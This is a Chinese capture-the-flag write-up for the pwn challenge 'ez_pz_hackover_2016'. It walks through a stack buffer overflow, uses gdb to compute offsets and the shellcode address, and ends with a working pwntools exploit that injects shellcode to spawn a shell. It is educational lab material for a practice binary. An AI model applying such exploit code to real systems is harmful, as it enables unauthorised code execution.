ez_pz_hackover_2016(debug计算shell位置)

  1. 直接写思路

    • 1.没有直接的/bin/sh
    • 2.没有格式化字符串

    1

​ 缓冲区溢出风险:即使n小于等于50(即dest数组的大小),因为src只是一个字符(1字节),试图读取超过1字节的数据会导致访问越

​ 界。如果n大于50,不仅会访问越界,还会写入超出dest数组范围的内存,导致缓冲区溢出。(有栈溢出可以利用)

  1. 我们可以利用栈溢出写入shellcode,不过得先,输入crashme进入vuln

    2

  2. 计算shellcode所在的位置
    先在vuln找到一个nop的地址
    3

​ 在这个地方下断点,再用gdb,先输入crashme,再查栈

1
stack 20

4

​ 可以看到输入起始位置0x22而ebp的位置在0x38

​ 远程连接可以直接得到输入的地址,但是地址会变化,偏移不会变化。
5

  1. 思路就是在ebp后写入shellcode

    我们已经知道了输入地址和ebp的距离是0x38-0x22,可以进行填充
    我们还要算出shellcode的写入位置

    6

7

所以shellcode的位置就是s的初始地址:0xffffcc0c - 0xffffcbf0(0x5c-0x40 = 0x1c)

给出exp

1
2
3
4
5
6
7
8
9
10
11
12
13
from pwn import *
from LibcSearcher import *

#r = remote('node5.buuoj.cn', 29139) # 连接到远程服务器
r = process("./ez_pz_hackover_2016")
shellcode = asm(shellcraft.sh()) # 生成shellcode
r.recvuntil("crash: ") # 接收直到"crash: "
addr = int(r.recv(10), 16) # 接收10个字节并转换为十六进制地址
# 8是crashme\x00(8个字节);4是ret(4个字节)
payload = b'crashme\x00'+b'a' * (0x38 - 0x22 - 8 +4) + p32(addr - 0x1c) + shellcode # 构造payload
r.sendline(payload)

r.interactive() # 进入交互模式
  1. 8